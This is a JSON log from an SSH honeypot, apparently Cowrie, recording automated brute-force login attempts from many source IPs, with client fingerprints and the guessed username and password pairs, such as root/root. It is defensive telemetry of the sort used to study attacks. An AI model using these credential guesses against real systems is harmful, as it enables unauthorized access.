{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:19.602509Z","src_ip":"103.107.60.45","session":"56be2daf597e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:20.766373Z","src_ip":"103.27.238.120","session":"57a69d7c7367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":52334,"dst_ip":"159.203.135.109","dst_port":22,"session":"99cf1f51d3cc","protocol":"ssh","message":"New connection: 121.168.139.251:52334 (159.203.135.109:22) [session: 99cf1f51d3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:30.161747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:30.167318Z","src_ip":"121.168.139.251","session":"99cf1f51d3cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:30.375816Z","src_ip":"121.168.139.251","session":"99cf1f51d3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:31.221700Z","src_ip":"121.168.139.251","session":"99cf1f51d3cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:32.428770Z","src_ip":"121.168.139.251","session":"99cf1f51d3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":54976,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d08e4793344","protocol":"ssh","message":"New connection: 156.38.73.89:54976 (159.203.135.109:22) [session: 0d08e4793344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:49.954053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:49.959529Z","src_ip":"156.38.73.89","session":"0d08e4793344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:50.165451Z","src_ip":"156.38.73.89","session":"0d08e4793344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:51.016434Z","src_ip":"156.38.73.89","session":"0d08e4793344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":48422,"dst_ip":"159.203.135.109","dst_port":22,"session":"24c3dae2120c","protocol":"ssh","message":"New connection: 103.173.227.57:48422 (159.203.135.109:22) [session: 24c3dae2120c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:51.430185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:51.438859Z","src_ip":"103.173.227.57","session":"24c3dae2120c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:51.691413Z","src_ip":"103.173.227.57","session":"24c3dae2120c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:52.224706Z","src_ip":"156.38.73.89","session":"0d08e4793344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"554433","message":"login attempt [root/554433] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:52.450507Z","src_ip":"103.173.227.57","session":"24c3dae2120c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:53.706605Z","src_ip":"103.173.227.57","session":"24c3dae2120c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.246","src_port":50186,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aed4b9953c0","protocol":"ssh","message":"New connection: 196.92.7.246:50186 (159.203.135.109:22) [session: 0aed4b9953c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:56.299001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:56.306291Z","src_ip":"196.92.7.246","session":"0aed4b9953c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:56.436540Z","src_ip":"196.92.7.246","session":"0aed4b9953c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:56.980628Z","src_ip":"196.92.7.246","session":"0aed4b9953c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":40626,"dst_ip":"159.203.135.109","dst_port":22,"session":"66a9f9af408a","protocol":"ssh","message":"New connection: 31.59.89.180:40626 (159.203.135.109:22) [session: 66a9f9af408a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:57.016711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:57.021665Z","src_ip":"31.59.89.180","session":"66a9f9af408a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:57.133797Z","src_ip":"31.59.89.180","session":"66a9f9af408a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ken","password":"ken","message":"login attempt [ken/ken] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:57.613968Z","src_ip":"31.59.89.180","session":"66a9f9af408a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:58.112621Z","src_ip":"196.92.7.246","session":"0aed4b9953c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:58.729161Z","src_ip":"31.59.89.180","session":"66a9f9af408a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":55054,"dst_ip":"159.203.135.109","dst_port":22,"session":"70c37d8ac5af","protocol":"ssh","message":"New connection: 122.176.122.24:55054 (159.203.135.109:22) [session: 70c37d8ac5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:59.257385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:59.262826Z","src_ip":"122.176.122.24","session":"70c37d8ac5af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:05:59.536483Z","src_ip":"122.176.122.24","session":"70c37d8ac5af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678@Abc","message":"login attempt [root/12345678@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:00.655624Z","src_ip":"122.176.122.24","session":"70c37d8ac5af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:01.935010Z","src_ip":"122.176.122.24","session":"70c37d8ac5af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":60660,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d3fabe3ccd6","protocol":"ssh","message":"New connection: 27.79.1.70:60660 (159.203.135.109:22) [session: 3d3fabe3ccd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:11.341383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:11.352195Z","src_ip":"27.79.1.70","session":"3d3fabe3ccd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:11.607129Z","src_ip":"27.79.1.70","session":"3d3fabe3ccd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":49826,"dst_ip":"10.17.0.5","dst_port":22,"session":"98be36ffac6c","protocol":"ssh","message":"New connection: 37.233.85.71:49826 (10.17.0.5:22) [session: 98be36ffac6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:15.183924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:15.189250Z","src_ip":"37.233.85.71","session":"98be36ffac6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:15.293794Z","src_ip":"37.233.85.71","session":"98be36ffac6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lvbnhbq123","message":"login attempt [root/lvbnhbq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:15.611607Z","src_ip":"37.233.85.71","session":"98be36ffac6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:16.197819Z","src_ip":"27.79.1.70","session":"3d3fabe3ccd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:06:16.719241Z","src_ip":"37.233.85.71","session":"98be36ffac6c","protocol":"ssh"}
